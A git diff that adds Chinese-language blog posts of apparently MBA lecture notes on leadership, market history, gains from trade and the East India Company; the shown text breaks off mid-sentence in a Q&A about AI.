+当年去买房子那批人都作为侯选干部送上来了。当时我是海外公司董事长，首先到我这里就“枪毙”掉了。原因在于关键时刻，这些人不敢担当。所以，我强调一定要敢担当，一定要有胸怀，这样你能力才能得到锻炼。在这个社会上，我们不要去做所谓的聪明人。华为都是强调阿甘精神的，我们就是要扎扎实实、老老实实的努力。不要去追求一城一地的得失，要长远，这就是我讲的责任担当。 + +从价值观入手的自我超越，有八个关键点：核心能力、战略决策、资源整合，商业模式、创新方式、保障机制、沟通途径、修炼模式。关于顺应新经济逻辑的价值观超越，首先是能够顺应市场变化的用户至上，因为产业变化导致边界模糊，因为产业组织变化产生了共赢生态圈，因为资产配置变化需要平台运作。这些变化体现在以下8个方面： + +领导核心能力的认知----从核心竞争力到适应力 + +领导战略决策的颠覆----从最优决策到前瞻满意决策 + +领导资源整合的突破----从企业经营到平台经营 + +领导商业模式的重构----从各自为战到共赢生态圈 + +领导创新方式的改变----从独立自主到群体创造 + +领导保障机制的调整----从纷繁杂乱到常识回归 + +领导沟通途径的拓展----从打通思想到网络认同 + +领导修炼模式的回归----从重术轻道到德才兼备 + +最后，我给提供一个21周组织行为修炼的计划。希望同学们按照这个框架进行训练，时间长了一定会提升你的领导力。【关于21周组织行为修炼计划的资料，请同学们到APP课程资料处查看】 + +组织行为学就是提升人的境界，把一个人的境界提升到前所未有的高度，把一个人的责任心提到前所未有的高度，然后才能把一个人的潜力、持续的创新动力开发出来，让他做出他自己以前想都不敢想的那种成就。莎士比亚《暴风雨》中有一句名言：凡是过去皆为序章。我想说，对亲爱的同学们来说，一切皆有可能！最后衷心地祝愿各位同学：长风破浪会有时，直挂云帆济沧海。祝同学们能够踏着时代的节拍成为时代的英雄。 + +五、问答环节 + +问题一：在组织中，如何化解70后与80、90后价值观和理念层面的冲突？ + +包季鸣教授：85后、90后他们是紧跟时代的，他们更了解新生代需要什么。但问题是他们在处理诸如政商关系等确实不如70后。所以，我觉得要能够有效的互补，但如果不能有效互补，就有问题了。 + +有这样一句话：年轻人往往相信很多假话，而老年人往往会怀疑很多真话。尤其在面临冲突的时候，就要强调首要目标。70后甚至60后他们拿的是当时的“尺子”，85后又拿不同的“尺子”。所以你看我在带队伍时就非常强调，首先要建立共同的话语体系。当然还要结合不同人的优势，比如90后做产品做的非常好，但产品不是企业的全部，这时候就需要80后、70后的配合。 + +问题二：在企业发展过程中，如何打造学习型组织？ + +包季鸣教授：学习型组织是组织行为学中非常重要的一环。学习型组织是彼得圣吉提出的，他强调五个方面，其中最重要的一点是要有共同的愿景，以及共同的心智模式。 + +我们今天讲个人情商比较多，其实从组织角度来讲，学习型组织是组织情商。组织来也要有很强的学习能力，组织也要有组织情商。 + +打造学习型组织首先从改善心智模式开始，要做到认知颠覆；接下来要共启愿景，也就是我们共同的目标是什么。当然学习型组织要有强大的动力，这个动力就是你的学习方法。学习方法包括两种：一种是适应型学习，一种是创造型学习。适应型学习是你现在做的事情，你马上要学的；创造性学习是从你长远发展来说，怎么做。比如我们讲到了，像美国运通银行的例子，首先要让员工从贡献者到领导者角色转化，到一定时期要重视情商管理，还要有一个反馈机制，他要清楚自己做的怎么样，别人对他怎么反应等等。 + +![](/uploads/2019/06/03-51.png) \ No newline at end of file diff --git a/_posts/2019-06-03-384-mba1101.md b/_posts/2019-06-03-384-mba1101.md new file mode 100644 index 0000000..b756f99 --- /dev/null +++ b/_posts/2019-06-03-384-mba1101.md @@ -0,0 +1,220 @@ +--- +layout: post +title: 【市场与竞争】 第1节 技术/制度创新与最伟大的企业 +pid: 384 +tags: [mba] +--- + +第一讲：技术/制度创新与最伟大的企业 + +今天的课程不同于以往商学院的课程，今天我们不谈国家政策，不谈行业趋势，不谈复杂的经济学模型，今天我们回到人类的经济史和商业史当中，看一看在历史上技术、制度的创新怎样推动市场的不断演化和迭代？在市场的变化背后，又诞生了哪些伟大的企业？在这眼花缭乱的历史长河中，有没有一些不变的思维模型？ + +以史为鉴，可以知兴替；以企业为鉴，可以明得失。希望大家能和市场与竞争这门课碰撞出心灵的火花，通过合理的分析、评估与洞察，有效应对经济危机与技术创新带来的压力与挑战。 + +一、市场调研与分析 + +1.1 行业和公司现状 + +1.1.1 问题：你如何描述自己所在的行业和公司？ + +![](/uploads/2019/06/03-52.png) + +解析：横轴表示企业为客户提供的产品与服务，纵轴表示企业如今的核心业务在十五年前存在与否。A象限表示企业为客户提供新的产品，B象限表示企业为客户提供新的服务，即企业如今为客户提供的产品与服务在十五年前是不存在的。C象限表示企业为客户提供传统的产品，D象限表示企业为客户提供传统的服务，即企业如今为客户提供的产品和服务在十五年前已经存在。 + +1.1.2 结论 + +![](/uploads/2019/06/03-53.png) + +十五年来，我们的生活发生了翻天覆地的变化，新的产品和服务不断涌现。有超过50%的混沌同学所在企业提供的产品和服务在十五年前是不存在的，而仅有24%和18%同学所在企业提供的产品和服务别无二致，这意味着在传统行业，产品和服务的迭代相对稳定。 + +1.2 个人职业规划 + +1.2.1 问题：你如何描述自己的职业规划？ + +![](/uploads/2019/06/03-54.png) + +解析：横轴和纵轴表示你是在创业公司还是在一家稳定的企业工作，即你过去和现在从事什么工作，是在打工还是做职业经理人。A象限表示正在创业且未来会继续入坑，B象限表示现在还未创业但是未来想入坑，C表示现在正在创业未来想出坑，D象限表示未来会在公司按部就班工作、继续做职业经理人。 + +1.2.2 结论 + +![](/uploads/2019/06/03-55.png) + +我们生活在一个非常伟大与激动人心的时代，这个时代因为有众多创业者而更加气吞山河。这些创业者是历史的继承者、未来的开创者。即使与最有创业氛围的国家比（10%），混沌同学的创业热情依然最高，约80%已在创业或者未来有创业机会。 + +1.3 未来市值最高的公司预测 + +1.3.1 问题：十五年后，中国市值最高的公司将是？ + +![](/uploads/2019/06/03-56.png) + +解析：十五年后，市值最高的公司也许依然是头部互联网公司，核心业务完全一致亦或演进、重构；也许是今天不存在的，核心业务基于新能源等技术的制造型企业亦或为平台型、数据型企业，即如果你创业，是想建立一家伟大的企业还是一家小儿美的公司？选择怎样的行业？ + +1.3.2 结论 + +![](/uploads/2019/06/03-57.png) + +40.63%混沌同学认为，在15年后，中国市值最高的公司将是今天并不存在的，基于某种新技术的平台型或者数据型企业；34.34%认为，在15年后，仍然是今天的头部互联网公司，但是核心业务发生了演变和进化；仅有1.04%认为，在15年后，称霸的企业还是当今如日中天的头部互联网企业，且核心业务没有变化。 + +其实，平台型和数据型在人类历史上并不是一个一成不变的事实。如果我们回到三十、四十年前，回到美国、欧洲历史上绝大多数的阶段，我们会意识到制造型企业在相当长的历史时期内，都排在最有价值的企业排行榜前几名的位置。但是，我们这个时代，因为互联网的出现，带来技术变革和商业机会，涌现出了一批平台型和数据型的企业，这些企业在十五年后，是否依然称霸群雄？让我们拭目以待。 + +二、基石假设 + +大企业 vs 创业公司：谁会成为新技术的驱动力和受益者？ + +下一批伟大的公司是谁，将诞生于何种技术和模式？ + +如何站在历史的角度理解今天的挑战和个人的选择？ + +今天，我们不讨论商业策略问题，今天我们回到人类历史、回到人类商业史，来看一看技术、制度创新是怎样推动市场的不断演化，在这风云突变的背后，又诞生了哪些伟大的企业？在这眼花缭乱的商业历史长河中，有没有一成不变的东西？ + +三、案例论证：企业迭代 + +3.1 全球最有价值企业榜单：企业迭代迅速 + +![](/uploads/2019/06/03-58.png) + +2008年，中国石油、美孚石油、通用电气、中国移动、俄罗斯油气公司、微软、荷兰皇家银行、新浪、AT&T称霸全球市值前十；2018年，苹果、谷歌、微软、亚马逊、脸谱网、腾讯、伯克希尔、阿里巴巴、J&J、摩根大通则傲视群雄。 + +有两点在这个榜单中显而易见：第一，微软，作为唯一的幸存者，同时出现在2008和2018年榜单中。第二，2008和2018年最有价值企业所来自的行业几乎没有重合，这意味着十年前和十年后，行业变迁、人员更替。事实上，2008到2018年这十年间正是互联网蓬勃发展的十年。这十年，数据技术、移动互联网的兴起，打造了一批全新的企业，一批更有活力、更具创新精神的时代英雄。而传统企业，如今已经不得不让位于这些新的时代宠儿。 + +3.2 财富500强企业榜单解析 + +解析1：1955年财富500强企业中，2017年仍然上榜的数量——60 + +在调研中，53.18%的同学认为仅有30家企业，在1955年和2017年依然雄踞世界财富500强企业，其实正确答案为60。 + +![](/uploads/2019/06/03-59.png) + +世界五百强企业，它反映的是经济的大盘和基本面，在大盘当中，企业的变化和更迭仍然是非常迅速的，有些行业也许依然存在，但是企业的迭代速度却是不言而喻的。由此可见，我们处于一个充满不确定性的时代。 + +解析2：技术变革影响企业发展 + +![](/uploads/2019/06/03-60.png) + +如果将财富500强企业按照行业划分，可分为居家日用、服饰、食品、金融、零售、电信、传媒、工程建筑、医疗等。 + +居家日化类企业——平均成立年份为1898年，百年企业居多。金融行业——分别在1850-1900、1900-1950、1950年后取得大发展；零售行业——在二战后，1950年后开始兴起，例如沃尔玛成立于1962年。 + +通过分析财富500强企业，可以得出三个结论： + +第一，1955 年至今，绝大多数企业被颠覆，原因在于技术的进步。 + +第二，每一家企业都有属于自己的辉煌时代，伟大企业的命运与我们所处的时代息息相关。 + +第三，每一次行业的技术变革都会涌现新的机遇。 + +3.3 标普500指数：企业平均寿命为7年 + +![](/uploads/2019/06/03-61.png) + +从标普500指数可以得出四个结论： + +自1965年以来，企业平均寿命为7年。 + + 自1960s以来，由于企业更迭速度加快、新行业涌现，企业年龄越来越年轻。 + + 经济发展呈周期性波动，新技术驱动新企业诞生。 + +1970-1975，宏观环境稳定，经济上行。 + +1995-2000，互联网驱动行业变革，经济下行。 + +3.4 Psysa：企业平均雇员任期 + +![](/uploads/2019/06/03-62.png) + +从榜单中可以看出，绝大多数头部互联网企业平均雇员任期约为为两年，如脸谱网为2.02年，谷歌1.90年，甲骨文1.89年等。微软，虽然历史悠久，但是文化却紧随时代潮流进行自我革新，雇员任期为1.81年。相反，绝大多数传统企业雇员任期较长，通用汽车10.30年，宝洁6.70年，美孚石油6.50年，以及IBM 6.40年。 + +那么，新的企业不断代替老的企业，技术进步、创业机会涌现，属于年轻人的时代会一直持续下去吗？如果从如今的榜单中，答案也许是肯定的，但如果我们回到更长的历史周期内看，答案却不一定。 + +3.5 经济学人：企业通过IPO、被巨头收购进行资本退出 + +![](/uploads/2019/06/03-63.png) + +经济学人曾经刊发一篇文章，《巨头们正在让创业公司的日子越来越难过》，可以看出——自2006年以来，企业VC（风险投资）、PE（私募投资）数量呈下降趋势。近些年，企业通过IPO、被巨头收购进行资本退出。 + +四、商业历史观 + +4.1 一张图的世界经济史 + +4.1.1 概述 + +![](/uploads/2019/06/03-64.png) + +美国加州大学经济史学家，格雷戈里·克拉克将人类三千年经济史浓缩成一张图。这张图显示：第一,在两千多年（公元前1000年-公元后1500年）的历史长河中，人类社会的人均收入水平基本保持不变；第二，工业革命以后，人均生活水平呈现爆发式增长，伴随人口现象级增长。 + +4.1.2 人类预期寿命 + +![](/uploads/2019/06/03-65.png) + +在旧石器时代，人类预期寿命约33岁；中世纪晚期的英国，预期寿命约30岁；18世纪的法国，约27.5-30岁，原因在于­——技术进步、经济发展并没有提高人均收入水平，人类营养条件、医疗水平、卫生条件也并未获得根本性改善。生产力进步转化为人口总量上升，但人均寿命。 + +4.1.3 人均收入 + +![](/uploads/2019/06/03-66.png) + +1200年，英国农工的工资约1.75便士/每天，小麦价格约8便士/每筐，这意味着农工一天的工资可以买10斤左右小麦。如果再加上吃穿住的费用，农工工资仅仅可以维系基本生活。1500年，工资上升到3.1便士/每天了，小麦价格上涨到13便士/每筐；1720年，工资为10.20便士/每天，小麦价格36便士/每筐。如果用小麦价格除以工资，在五百年间，雇农的生活水平几乎保持不变。 + +4.1.4 人均身高 + +![](/uploads/2019/06/03-67.png) + +在农耕文明阶段，即1762到1862年，西方主要发达国家人的平均身高降低了4英寸，这是由于农耕文明时期饮食质量较差，人们食不果腹、衣衫褴褛。而工业革命以后，经济增长转化为个人生活水平的提高，人均身高显著大大增加。 + +1500年前经济与商业有三个特点： + +第一，马尔萨斯陷阱下，人口增长抵消生产力增长带来的增量。 + +第二，商业组织以小规模，本地化的生产为主，即每个村庄都有自己的铁匠而并不存在一个全国的铁匠公司，将农具销往各地。仅在少数情况下，有一个相对较大的企业服务于一个而区域，但是服务范围相对有限。 + +第三，行会等商业组织，关注于利益分配而不是价值创造。例如，捷克铁匠协会作为利益分配组织，招收会员及学徒，收取会费。法国发明家丹尼斯·帕潘最早发明蒸汽机，因为威胁到了船工协会的利益，首航失败。 + +4.2 技术、制度创新孕育最伟大企业 + +伴随人们对自我价值实现的渴望、对新技术的包容、对美好生活的期许，一切在工业革命以后发生了天翻地覆的变化。所以，商业历史观当中存在3条主线： + +第一条主线：技术创新，技术驱动力在商业历史中至关重要。即航海技术的发展打开了地理大发现的时代、打开了全球的贸易交流和技术交流；蒸汽机的发明，提供了开发和利用热能来驱动机械的手段；铁路的出现，缩短了人与人之间的距离，为美国经济的兴起、第二次工业革命大企业的出现做了重要铺垫；电力、计算机、移动互联网的出现，使人类进入工业4.0时代。 + +第二条主线：制度创新为社会发展提供可能性，带来了更多商业机会，技术和制度创新共同孕育了一批伟大的公司。 + +![](/uploads/2019/06/03-68.png) + +第三条主线：在漫长的历史长河中，涌现出一批又一批优秀的公司。 + +从大航海时期的荷兰东印度公司将印度、加勒比海诸岛的香料，中国的丝绸、茶叶、燃料通过贸易运往欧洲，到英国在加拿大开办的哈德逊湾公司，再到英国开办的俄罗斯贸易公司可以看出，在工业革命前，世界上最有价值的企业通过人员、船只、军队、政府关系进行海外贸易。然而，在第一次工业革命期间（十八世纪六十年代），因为很多技术发展是由个人发明家驱动的，所以并没有诞生最伟大企业。 + +在第二次工业革命时期（十九世纪中期），随着铁路发展、电力发现，诞生了标准石油、美国钢铁、美孚石油等最有价值企业。 + +随着计算机、电力技术和通信技术的发展，通用汽车、IBM、通用电气在十九世纪六七十年代登上历史舞台。 + +放眼当今，最伟大企业则为谷歌、脸谱、阿里、腾讯等头部互联网公司。 + +当我们将三条主线汇聚时，我们会看到一幅极简人类经济史，即技术进步是核心驱动力；制度创新解放了生产关系、释放了生产力，为大企业的诞生提供基础；每个时代都会诞生一批伟大的企业，震古烁今。 + +在纷繁复杂的历史长河的演进中，技术在变、制度在变、公司在变。那么，有没有一些是亘古不变的东西？我们如何运用历史框架来理解当代史和今天的企业，商业环境和中国经济的挑战？下一波足以影响经济格局的技术创新来自哪里？可能产生的生产关系变革是什么？以史为鉴可以知兴替，以商业史为鉴，可以穿透未来。 + +4.3 理解产业变革的四个经济学思维模型 + +著名经济学家范里安所说：“技术在变化，但是经济规律是永恒不变的。”在浩如烟海的历史长河中，有四个经济学思维模型永恒不变： + +第一，市场的流转带来资源有效配置，打破行业壁垒。 + +第二：垄断收益权提高经营意愿。 + +第三：规模效应带来赢者通吃。 + +第四：破坏式创新带来供给的更迭和进步。 + +![](/uploads/2019/06/03-69.png) + +早年的东印度公司和如今的滴滴打车商业模式异曲同工，东印度公司促进了香料、丝绸在亚洲和欧洲之间的流转和配置，释放巨大商业价值。而滴滴在本质上，也是靠通过市场和连接促进资源有效配置，即通过市场与匹配机制，实现司机和乘客的共赢。 + +而历史上的伟大企业的诞生，都可以对应到四个思维模型中。 + +![](/uploads/2019/06/03-70.png) + +例如，大航海时代的贸易公司，首先是通过市场的建立，促进资源的流转，其次通过从国家那里获得特许经营权，取得垄断收益权。工业化时代石油和钢铁公司，首先作为破坏式创新的受益者，取代了手工作坊等企业，同时因为其生产的规模性，成为规模效应受益者，形成垄断。IBM，通用电气，首先作为知识产权的受益者，同时也具有规模效应。而我们今天的平台型企业，谷歌、 阿里巴巴，首先作为网络效应巨大的受益者，同时在平台内部实现了资源的有效流转。 + +本讲中，张凯夫教授为大家介绍了在历史演进过程中，四个不变的经济学思维模型，在接下来的课程中，将会详细为大家解析每个模型的理论及应用。 + +![](/uploads/2019/06/03-71.png) \ No newline at end of file diff --git a/_posts/2019-06-03-385-mba1102.md b/_posts/2019-06-03-385-mba1102.md new file mode 100644 index 0000000..083c797 --- /dev/null +++ b/_posts/2019-06-03-385-mba1102.md @@ -0,0 +1,202 @@ +--- +layout: post +title: 【市场与竞争】 第2节 市场与产权 +pid: 385 +tags: [mba] +--- + +在第二讲里，我们的计划是介绍两个思维模型。 + +第一，了解一下市场是怎么促进资源的有效配置以及这当中所释放出来的商业价值又是来自于什么原理。然后，了解一下垄断收益权，垄断收益权的概念是什么，它跟经营意愿之间的关系是什么，我会用一个共同的案例来阐释上面这两个思维模型，也就是我们早期的贸易公司史-东印度公司的历史。 + +一、理解贸易的三个经济学概念 + +下图是丝绸之路，也就是大航海时代前的国际贸易的主要承载。丝绸之路是一系列的城市组成的、以及城市之间的商路组成的一个贸易链路。它是一串从中国到欧洲、到中东和东欧之间主要的贸易驿站，或者说由贸易的中转城市所组成的贸易网络。 + +![](/uploads/2019/06/03-72.png) + + 我们能看到，中国有一段长城是沿着丝绸之路修的，这是人类历史上第一次军事投资与贸易投资是有共同逻辑的。所以，能看到长城的关口，现在的玉门关，都是当时的贸易驿站。当年的贸易只是在两个驿站之间往返，它是一段一段拼起来的，所以丝绸之路的贸易不是今天的集装箱贸易，它是从长安运到安西，然后从安西运到和田，从和田运到萨玛尔汗，萨玛尔汗人再运到欧洲。所以，丝绸之路实际上是一系列的城市，和一系列这种短途往返的商队拼接起来的一个统一的概念，它并不是一条路和一个贸易路线。 + +这当中有一个重要的经济学逻辑：为什么货从中国一路一路运输，都有人愿意把这个货往欧洲传？ +我们去看史料，看丝绸之路上各个驿站的商品价格，就能发现尽管没有任何的协同，商人在丝绸之路形成了一个完美的价格梯度，同样的丝绸在中国最便宜，越往西越贵，到了欧洲的时候，丝绸就比原产地贵很多倍了。但这个价格梯度是天然形成的，而一旦有了价格梯度，本地的商人就有动力把这个货一路往西运输。 + +所以，这是早年丝绸之路贸易的形态。没有航海技术，市场经济的力量仍然可以让贸易发生。所以，我么来用丝绸之路的逻辑解释市场和贸易以及背后的三个经济学的原理。 +首先，市场促进资源的有效配置。这其中有三个经济学的概念： + +第一，比较优势。 +即：不同的人擅长不同的事。中国擅长丝绸，中国的丝绸就多，中亚擅长玻璃，中亚的玻璃就多。东西多了以后价格会便宜。 + +第二，供需与价格。 +供不应求会拉升价格，供大于求会压低价格。中国的丝绸价格低，玻璃价格高，中亚丝绸价格高，玻璃价格低。当把两个因素放到一起的时候，就看到了贸易和市场的原动力，贸易和市场的原动力在于不同人对同一个商品有不同的估值。所以，当这个价差存在的时候，贸易就天然产生了。 + +第三，分析贸易带来的社会和商业价值（贸易价值）。 + +我们用贸易收益（gain form trade）。贸易收益指的是，在一次贸易中，买家剩余和卖家剩余的总和。买家剩余是一个商品的消费价值减去商品价格，比如一个东西对我值20块钱，卖了15块钱，剩余就是5块，在这次交易中赚了5块，就是我的消费价值大于我支付的价格。卖家剩余是商品价格减去生产成本，也就是减去它对卖家的那个价值。 + +例如对于矿泉水厂，水没那么值钱，所以对矿泉水厂来说水的价值就是生产成本1块钱。但我非常渴，所以对我来说这个水值20块钱。所以，若我们的一次贸易15块钱，创造了多少贸易收益？20块钱买了一瓶水，生产1块钱，价格15块钱，这次交易产生了19块钱的贸易收益。具体计算方法如下图： + +![](/uploads/2019/06/03-73.png) + +从这个小例子当中，可以得出一个关键点，贸易收益是跟价格是没有关系的。所以，交易创造的社会价值和经济价值，只和两个东西有关，和交易双方的比较优势有关，和交易双方的供给和需求有关，对同一个商品的供给需求差异造成了一个水位差，这个水位差就是的贸易价值。 + +所以，我们现在来看一个简单的习题，如下图： + +![](/uploads/2019/06/03-74.png) + +我们假设长安和萨玛尔汗两个城市正在进行贸易，长安盛产丝绸，萨玛尔汗盛产玻璃，从长安运往萨玛尔汗的丝绸的价格，以及从萨玛尔汗运往长安的玻璃的价格是对称的。假如汉代通信与运输技术极大发达，丝绸在萨玛尔汗和长安的售价会变成多少钱？答案：D。 + +下面为大家解释一下。首先，当运力和运输技术极大发达的时候，同一个商品在两地区之间的价格会趋同。只要有价差就持续会有贸易，只要有价差，就会不断有人把丝绸往萨玛尔汗运，这就是套利。只要有套利就有商品的流动，有了商品的流动，供需就会拉平，拉平以后价格就会变的一样。当总供给没有变化时，丝绸总量是不变的，不会是20块钱那么便宜。当把更多的丝绸从长安往西运的时候，长安的丝绸价格就会上升，总供给和总需求是不变的，唯一改变的是贸易技术。 + +所以，在这种情况下，把商品从一个地区运到另一个地区的时候，它的目的地的价格会往下走，但产地的价格会往上升。当技术无限发达的时候，两地的价格会被拉平，而当这个价位拉平的时候，它一定是处于一个中间状态，所以是40块钱。 + +第二题，见下图。当通讯与运输技术极大发达，谁获得更大收益？答案：AB。 + +![](/uploads/2019/06/03-75.png) + +为大家解释一下。但运输和通讯技术已经极大发达的时候，长安居民可以卖东西卖的更贵，撒马尔罕居民买东西可以更便宜。而当运输和通讯技术极大发达的时候，两地价格会趋同（上题讨论结果），商人从中可以获得的收益就会非常少。 + +但在真实世界当中，两边的价格不可能完全一样，可能还有3块、5块的差价，那个差价就是商人最后可以赚的利润。所以，本身贸易是可以产生巨大的商业价值，是可以促进社会收益的。但如果仅仅有贸易价值，作为一家企业，假如大量的人进来，仅仅有贸易价值，也不一定能够把贸易价值转化成自己的利润。 + +所以，如果想把贸易价值转化成自己的利润，还需要别的东西。但当思考这个商业模型的时候，应该思考的是： + +第一，出发点一定是在今天的社会当中是否存在萨玛尔汗和长安的情况，同样的商品在一边很廉价，在另一边却非常的稀缺。 + +第二，存不存在一种技术手段和一种商业模式的变革，能够把两地连接起来。 + +所以，如果我们看东印度公司的贸易、滴滴的模式、早年平台型的公司，本质上干的都是这个事情。这些公司都是因为发挥了技术和模式的力量，发现了不同地方供给的水位差，而获得了一个非常大的红利期。 + +二、大航海时代的技术与制度创新 + +在历史上，降低通讯与运输成本的技术进步就是大航海时期的航海技术的进展--克拉克帆船。这种帆船使得当时世界的贸易路线发生了很大的变化，当航海技术发展之后，就已经让世界形成了一张贸易网络（如下图）。 + +![](/uploads/2019/06/03-76.png) + +这是西班牙人和葡萄牙人所构建的世界贸易网络。在这种网络背后，能够看到有几个变化： + +第一，它已经不是点对点的贸易了，它从一个丝绸之路变成一个贸易网，可以极大地释放更大的贸易价值。 + +第二，很多时候这个贸易变成了直连。一个船队可以得到所有的利润。 + +技术进步释放了多大的经济价值呢？ + +第一，1580年在英国市场一磅香料的价格，丁香是11个先令，肉桂是10个先令6个便士。每个香料大概是一个普通工人1个半月的工资。而这些香料的产地是印度尼西亚、马来西亚，在当地的岛屿这些香料基本不值钱，所以只要你能把船开过去运回来，就可以获得巨大的利润。 + +第二，3年零2个月。这是叫做James Lancaster在1591年去印度做一次航行所花的时间。航行过程中会经历很多波折，走的时候198个人，回来的时候只剩下25个人。3年时间死了100多个人，带回这么一大船香料。Jams Lancaster后来变成了英国东印度公司的第一任船长。 + +所以，当时的跨大陆贸易，有几个核心的商业特征： + +第一，利润极高。跟高利润相伴而生的是非常高的风险。 + +第二，资本投入巨大。 + +第三，利润空间的维持取决于垄断与市场进入。 + +核心是存在着一个竞争与市场的矛盾。如果想迅速发展市场规模，就应该有竞争，但如果要维持利润空间，就需要一定的垄断收益权。 + +由此就产生了相对应的三个制度创新。这是站在1591年，当时英国的这些有野心的贸易创业者要回答的3个问题。 + +第一，为了解决高利润、高风险的问题，诞生了一次性的贸易合伙公司。当时的公司是每搞一票就去注册一个公司。公司实际上就一纸契约，规定共同出钱，共同找人，共同造船，利润分享，风险共担。所以，公司诞生的第一天起的第一个使命，就是进行利润分享和风险分享。 + +第二，为了解决资本投入巨大，诞生了股票交易所。当时的"职业经理人们"意识到了仅靠创始人的原始资本是不够的，需要开放资本在全社会进行融资，所以股票交易所作为一种现代经济中重要的制度得以创立。 + +第三，产生了特许公司。比如当时的荷兰、英国、东印度公司、密西西比公司等在公司成立的第一天都要干一件事情，去跟各自的政府游说要求垄断权。而政府通过这种垄断权，保证了少数经营者的确定性和垄断收益，从而让他们有更强的投资意愿和经营意愿。 + +所以，这几个制度创新为1600年-1800年之间200年时间大型垄断式贸易公司的诞生做了铺垫。所以，航海技术创新让经济价值得以释放，同时又有了制度创新。当这两个因素都存在的时候，这些大公司就开始蓬勃发展。 + +下面是一道连线练习题，左边是4个制度创新，右边是4个经济学原理。 + +![](/uploads/2019/06/03-77.png) + +合伙公司使得生产资料可以市场化流转，就是首先实现了资本聚集，提升风险耐受力。所以公司的第一属性是把资本聚集起来，不是各投各的，可以凑钱一块干活，所以1跟D是有连线的。股票买卖的实际上就是公司本身，股票买卖的就是生产资料，所以股票交易实际上是一种生产资料的流转。有限责任制是降低破产风险。特许哦公司是确立垄断收益权，提升经营意愿。所以，如果我们连一下这个线的话就是上图的样子。 + +所以，每一个制度创新背后，都有一种经济逻辑，然后这种经济逻辑最后导致大公司可以调动资本，可以有足够的经营意愿不用担心在经营当中的风险。 + +这些当时的制度创新，为后来的公司制做了铺垫。今天的公司很多基本逻辑跟当时相比没有太大的变化。实际上，很多重要的因素在几百年前就已经被铺垫好了。比如早期的特许公司就已经有了法人制，在法庭上有自然人可以享受的几乎所有权利，可以以公司为名制定契约，公司不是你公司的股东，公司本身是个独立法人。股票交易当时也有了，有限责任制虽然没有立法，但是有一些早期的尝试，但当时唯一一个没有做的事就是公司的成立和经营范围都是由国家或者皇室规定的。今天办公司也有个经营的范围，但它是可以变的，当时是不可以的。 + +所以，现代股份制公司4个选项都是勾，但这背后又花了大概100多年的时间才完成了最后两个东西的突破。其中一个是1844年的公司注册制和当时的有限责任制。 + +![](/uploads/2019/06/03-78.png) + +当时这两个政策的落地都是在美国先实现的。一个是准入，一个是有限责任。当时美国的州有自己的立法权，所以很多州为了吸引公司进来，就先给公司提供了有限责任和自由准入，因此地区（不同州）之间的竞争还是促进经济发展的。所以，这是第一波大公司产生之前，背后的一些经济上的原理。 + +给大家看一些数字，就是这种制度创新使得当时的东印度公司门，做上了什么样的规模。 + +![](/uploads/2019/06/03-79.png) + +第一，荷兰东印度公司的运力在顶峰期间，有4500多条远洋船只，垄断了世界上将近1/3的运力。 + +第二，英国东印度公司的私人军队顶峰时期有26万名士兵，远远大于皇家军队的数量。 + +第三，荷兰东印度公司的市值在顶峰时期，换算成今天的美金是7万亿。 + +所以，每一个时代有时候会诞生一些大公司，有一些时代属于小公司，但是东印度公司的时代是人类历史上第一个诞生了巨头的商业时代，这背后的逻辑就是垄断、贸易、技术进步、制度创新。 + +三、理解经济史的思维模型 + +回到思维模型上讲，第一波伟大的公司，从哪几个点上释放了商业价值？ + +首先，是商品的流转，然后是股权的流转。商品的流转释放了航海贸易巨大的利益空间，股权公司的发明和股市的建立促进了生产资料的流转。 + +第二，法人制给予了公司一系列法律权利，去人格化，并且有了垄断贸易权，这两件事情保证了产权和垄断收益权的制度创新。 + +这两个要素即便在今天，对市场经济仍然是至关重要的，时间往后推300多年（中国七十年代开始的改革开放）。从1978年开始，中国的经验是什么？ + +第一是确权，确权（收益权），第二是流转（市场化）。 + +回到1978年，我们首先开始确权的是土地，即联产承包责任制。然后有了股权、土地交易，每一次重大的改革都为中国经济创造了一波巨大的红利。 + +确权也是类似的。早年的时候，先确收益权，后来慢慢的再去确产权，然后再去做企业产权的确定，同时通过国际化加入关税贸易总协定，加入WTO，使得我们国际上的流转和市场化程度得以极大的释放。 + +所以，用同样的经济逻辑去思考，就会发现相隔几百年两个国度发生的事情，不变的是经济原理。 +其实中国的改革史和中国企业家精神的释放的基石也是这两个思维模型或者这两个经济原理。竞争与垄断之间是有矛盾的，产权与流转之间本质上也是有一定的矛盾的。下面我们用下面这道题来看一下这个矛盾。 + +![](/uploads/2019/06/03-80.png) + +三种生产制度，从资源分配的效率上讲，哪种制度的分配效率是最高的？ + +（1）肯定是效率不低，每年都可以根据你的情况动态分配，（3）的分配效率也挺高的，（3）允许转卖和流动，市场本身可以实现资源的有效配置。（1）和（3）都是资源的匹配效率和利用效率比较高的，但一这种制度有短期行为的问题：它实现了资源的最优配置，但是降低了生产意愿。（2）包产到户一定是有生产动力的，但（2）的分配不是最优的。（3）是可以实现这两种制度的优点。首先，市场交易可以保证资源的最优配置，因为有产权，我吃的每一铲的肥，我修的每一个水渠，每一个篱笆，都可以让我这个地卖出更高的价格，所以我也有更强的经营意愿。 + +所以，如果看不同的思维模型之间，有时候是有小的冲突，但是也有统一的可能性，所以还是回到思维模型：市场和流转促进资源的有效配置；垄断（收益权）提升经营意愿。 + +四、本讲小结 + +最后我们回到大图。这张图的核心是，技术进步跟制度进步共同作用产生了人类历史上第一波伟大的公司。 + + +![](/uploads/2019/06/03-81.png) + +本讲我们介绍了两个思维模型： + +第一，市场的流转促进资源的有效配置。 + +我们可以用它来理解国家政策，理解很多大的平台型企业的商业模式。这背后有3个公式：（1）贸易收益是买家剩余跟卖家剩余的总和；（2）剩余的多少取决于供需和比较优势；（3）买家剩余是消费价值减商品价格，卖家剩余是价格减去成本。 + +第二，垄断收益权提高经营意愿。 + +垄断收益权跟伟大的公司之间永远都是非常紧密的。没有一家垄断的公司和伟大的公司没有进入壁垒。早年的进入壁垒可以是皇室授权，可以是武力，可以是你的枪比别人多，你可以是跟政府把事谈下来了，比如说东印度公司。但是，今天或者未来，还有很多其它构建进入壁垒的方法，如技术优势，专利制度跟工业革命之间的关系。如成本优势，二十世纪初伟大的公司，当时的能源、矿产行业。 + +最后，用这两个思维模型，我们可以对我们下一波的技术进行一些畅想。问大家几个问题： + +问题一：人工智能（AI）很热，请问人工智能底层技术是否是一个可以垄断的技术？ + +学员回答：很难。因为人工智能的底层技术是大数据，大数据在不同公司有不同的维度，所以它在垄断方面具有相当大的困扰。 + +是的，确实很难形成垄断。原因是： + 